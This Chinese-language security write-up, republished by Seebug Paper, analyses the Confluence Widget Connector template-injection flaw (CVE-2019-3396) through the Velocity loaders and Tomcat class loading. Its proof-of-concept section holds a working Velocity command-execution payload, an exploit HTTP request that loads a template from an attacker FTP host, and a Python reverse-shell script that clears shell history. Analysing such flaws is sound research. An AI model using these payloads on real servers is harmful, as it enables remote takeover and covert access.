作者:lucifaer
博客:https://www.lucifaer.com/

這個漏洞本來是上周一就分析完了,但是高版本無法造成rce這個問題著實困擾了我很久,在得出了一定的結論后才寫完了這篇文章。總體來說,這個漏洞真的是值得好好跟一下,好好研究一下的,能學到很多東西。

0x01 漏洞概述

There was an server-side template injection vulnerability in Confluence Server and Data Center, in the Widget Connector. An attacker is able to exploit this issue to achieve server-side template injection, path traversal and remote code execution on systems that run a vulnerable version of Confluence Server or Data Center.

根據官方文檔的描述,可以看到這是由Widget Connector這個插件造成的SSTI,利用SSTI而造成的RCE。在經過diff后,可以確定觸發漏洞的關鍵點在于對post包中的_template字段:

img

可以看到修補措施還是很暴力的。

所以我們可以從com.atlassian.confluence.extra.widgetconnector來入手分析。

0x02 概述

分析這個漏洞應該從兩個方面入手:

  • Widget Connector插件
  • tomcat類加載機制

Widget Connector插件這個方面主要是由于其可以未授權訪問,同時允許傳入一個外部資源鏈接。而tomcat的類加載機制決定了這個可控的外部資源鏈接的內容是可被加載的,最終,被加載的資源被注入到默認模版中,并執行VTL表達式。所以這個漏洞在真正利用的時候是取決于兩個因素的,缺一不可。

在真正分析的時候真正的難點不是diff找出漏洞點,而是在于漏洞在存在漏洞的6.6-6.9版本是可以利用file、https等協議加載外部資源的,而在6.14.1這個存在漏洞的版本是沒有辦法加載外部資源的。而這一點也是我和BadCode老哥交流了將近2-3天一直沒有跟到的點,最終在我對比了兩個版本的區別時,才推測出這個問題是由tomcat本身導致。

下面的漏洞分析基于confluence 6.6.11版本。

0x03 漏洞分析

3.1 Widget Connector

從diff的點入手,首先看com.atlassian.confluence.extra.widgetconnector#execute

img

這里有幾個值得注意的點:

  • 獲取到的是一個Map類型的parameters
  • parameters中存在url這個字段流程就會進入this.renderManager.getEmbeddedHtml(也就是DefaultRenderManager.getEmbeddedHtml)

這里的parameters就是我們在向widgetconnector插件發送post請求時包中的params字段的內容。(如果不清楚如何構造post請求包的話,可以參考widget文章,然后抓一個包看一下就好)

跟進getEmbeddedHtml看一下:

img

可以看到這里的var3是一個WidgetRenderer的List,我們來看一下這個List中有什么內容:

img

可以看到是所有WidgetRenderer的具體實現,在各個實現當中都實現了matches方法,而這個方法是檢查url字段中是否存在其所對應的url,這里拿ViddlerRenderer來舉例子:

img

也就是說在構造請求的時候需要存在相應的字段才能進入相應的實現類處理不同的請求。

在看各個具體實現時,會發現大部分的實現都會將一個固定的_template字段置于params中,比如FlickrRenderer

img

但是也有一些實現類并沒有這樣做,比如GoogleVideoRenderer

img

從補丁中我們可以看到,漏洞觸發的關鍵點是要求_template字段可控,所以滿足這一條件的只有這么幾個:

  • GoogleVideoRenderer
  • EpisodicRenderer
  • TwitterRenderer
  • MetacafeRenderer
  • SlideShareRenderer
  • BlipRenderer
  • DailyMotionRenderer
  • ViddlerRenderer

可以看到滿足條件的實現類最終都是進入this.velocityRenderService.render來處理的,跟進看一下:

img

該方法對widthheight_template進行了校驗及初始化過程,最關鍵的是將處理后的數據傳入getRenderedTemplate,這里很好跟一路向下跟進到org.apache.velocity.runtime.RuntimeInstance#getTemplate

img

這里注意這個i參數為1,后面會有用到。繼續向下跟進org.apache.velocity.runtime.RuntimeInstance.ConfigurableResourceManager#getResource:

img

如果是首次處理請求的話,是無法從全局的緩存中找到資源的,所以這里可以跟進else中的處理來具體看一下具體處理的:

img

這里會遍歷this.resourceLoaders里面的資源加載器,然后利用可控的資源名以及resourceType為1的參數去初始化一個Resource類。我們看一下這里的Resource類的實例化過程,這里我下了個斷看了一下調用的是那個ResourceFactory

img

注意到是ConfluenceResourceFactory,這里跟進看一下:

img

img

也就是說Resource的具體初始化過程為:

img

ConfluenceVelocityTemplateImplTemplate類的一個子類,也就是說之后的過程就是加載模版,解析模版的過程。所以我們來看一下這里的resourceLoaders中的資源加載器是什么:

img

  • com.atlassian.confluence.setup.velocity.HibernateResourceLoader
  • org.apache.velocity.runtime.resource.loader.FileResourceLoader
  • org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
  • com.atlassian.confluence.setup.velocity.DynamicPluginResourceLoader

在以上四個資源加載器中,HibernateResourceLoader是ORM資源加載器,DynamicPluginResourceLoader是動態插件資源加載器,這兩個和我們的利用都沒有什么具體的關系,而FileResourceLoader可以讀取文件,ClasspathResourceLoader可以加載文件。RCE的點也在于ClasspathResourceLoader中。

具體跟一下ClasspathResourceLoader#getResourceStream

img

img

這里在ClassUtils#getResourceAsStream中的處理過程非常有意思,有意思的點在于這里完成了兩個操作(以下分析為個人理解,如果有問題希望各位斧正):

  • osgi對于類加載的跟蹤與檢查
  • tomcat基于雙親委派模型的類加載架構

當Java虛擬機要加載一個類時,會進行如下的步驟:

  • 首先當前線程的類加載器去加載線程中的第一個類(假設為類A)注:(當前線程的類加載器可以通過Thread類的getContextClassLoader()獲得,也可以通過setContextClassLoader()自己設置類加載器)
  • 如果類A中引用了類B,Java虛擬機將使用加載類A的類加載器去加載類B
  • 還可以直接調用ClassLoader.loadClass()方法來指定某個類加載器去加載某個類

而在進行第一步時首先會嘗試用BundleDelegatingClassLoader來進行類加載:

img

這里的BundleDelegatingClassLoader是osgi自己的類加載器,主要用于進行類加載的跟蹤,這里主要用于在osgi中尋找相關的依賴類,如果找不到的話,再以tomcat實現的雙親委派模型從上至下進行加載。

3.2 Tomcat類加載

ok,這里比較麻煩的一個問題已經解決,我們所知這里所用的classLoader最終為ClasspathResourceLoader,而ClasspathResourceLoader是繼承于ResourceLoader的,那么ResourceLoader的上層是什么呢,這個時候就要看tomcat的類加載架構了:

img

WebappClassLoader加載WEB-INF/*中的類庫,所以這里是轉交到WebappClassLoader來進行處理的,在動態調試過程中我們也可以清晰的看到這個過程:

img

這里要注意兩點:

  • ClasspathResourceLoader上層為WebappClassLoader
  • javase的類加載器為ExtClassLoader且ucp為URLClassPath

WebappClassLoader中其具體操作是轉交由父類WebappClassLoaderBase來進行處理的,這里只截關鍵的處理點:

img

我們可以看到這里是根據name也就是我們傳入的_template來實例化一個URL類的url,我們來跟一下看看這個url的實例化流程:

img

這里調用了super.findResource來進行處理,跟進看一下:

img

這里調用了java.net.URLClassLoader#findResource在URL搜索路徑中查找指定名稱的資源,可以看到這里會執行upc.findResource,即URLClassPath.findResource。這里會在URL搜索路徑中查找具有指定名稱的資源,如果找到相應的資源,則調用check方法進行權限檢查,并加載相應的資源:

img

這里有兩種形式加載資源分別是通過讀文件(file協議),或者通過相應的協議去訪問相應的jar包(jar協議)。

回過頭來繼續跟URLClassPath.findResource的處理過程:

img

這里非常好理解,首先通過傳入的var1字段在已加載的ClassLoader緩存中進行查找,如果找到相應的加載器,則返回這個加載器的數組,若沒找到則返回null:

img

之后遍歷這個加載器數組,調用每個加載器的findResource方法,通過var1字段尋找相應的資源。在這里可以看到加載器數組中只存在一個加載器URLClassPath$Loader,我們跟進看一下這個加載器的實現:

img

可以明顯看到向this.base發送了請求,獲取了一個資源,我們看一下這個this.base是什么:

img

可以看到這里是向felix.extensions.ExtensionManager發送了請求,felix是一個osgi框架,也就是說我們現在需要跟進到osgi中,我們來看一下處理這個osgi請求的是什么:

img

我們跟進org.apache.felix.framework.URLHandlerStreamHandlerProxy#openConnection中看一下:

img

可以看到致此完成了請求的發送。以上我們就完成整條rce利用鏈的分析。

3.3 6.6.x-6.9.x與6.14.1的區別

當我們分析完rce的流程并成功彈出計算器后,整個漏洞就已經分析完了么?并沒有。

以上的分析都是在confluence 6.6.11版本上進行的,但不幸的是我最初分析的版本是confluence 6.14.1版本,利用file協議任意讀文件的poc我并沒有執行成功,我只能利用相對路徑來讀取當前目錄的文件,這不禁激發了我的探索欲,我想知道為啥較高版本就沒有辦法rce了。

在我進行調試后,我發現了ClasspathResourceLoader在向上找父類時獲得的父類并不是WebappClassLoader而是ParalleWebappClassLoader,導致最終在URLClassPath#findResource時,其并未調用URLClassPath$LoaderfindResource,而是調用的URLClassPath$JarLoaderfindResource

img

img

img

這里返回的肯定是null,并不會向外發送請求并獲取資源。可以說這個問題的關鍵點就在于WebappClassLoaderParalleWebappClassLoader中的upc的類型不同,那為什么會在代碼相同的情況下,會造成加載偏差呢?關鍵點在于6.14.1是使用的tomcat9,而6.6.x-6.9.x使用的是tomcat8。不同tomcat版本的區別在于其默認的loader是不同的:

-w1188

-w1188

在tomcat9中默認的loader是ParalleWebappClassLoader,在tomcat8中則是WebappClassLoader,關于其upc為什么不同,這一點我推薦各位看一下這篇文章

0x04 構造POC

這里其實改一下poc就好,正常的寫Velocity的語法就好,下面執行命令的poc引用https://github.com/jas502n/CVE-2019-3396:

#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
    $scan.next()
#end

反彈shell的:

請求

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.10.20.181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Referer: http://10.10.20.181/
Content-Length: 232
X-Forwarded-For: 127.0.0.2
Connection: keep-alive

{"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"ftp://10.10.20.166:8888/r.vm","command":"setsid python /tmp/nc.py 10.10.20.166 8989"},"body":""}}

nc.py

# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
    print 'python reverse connector'
    print 'usage: %s <ip_addr> <port>' % name

def main():
    if len(sys.argv) !=3:
        usage(sys.argv[0])
        sys.exit()
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        s.connect((sys.argv[1],int(sys.argv[2])))
        print 'connect ok'
    except:
        print 'connect faild'
        sys.exit()
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    global shell
    os.unsetenv("HISTFILE")
    os.unsetenv("HISTFILESIZE")
    os.unsetenv("HISTSIZE")
    os.unsetenv("HISTORY")
    os.unsetenv("HISTSAVE")
    os.unsetenv("HISTZONE")
    os.unsetenv("HISTLOG")
    os.unsetenv("HISTCMD")
    os.putenv("HISTFILE",'/dev/null')
    os.putenv("HISTSIZE",'0')
    os.putenv("HISTFILESIZE",'0')
    pty.spawn(shell)
    s.close()

if __name__ == '__main__':
    main()

效果:

-w1436

0x05 Reference


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/893/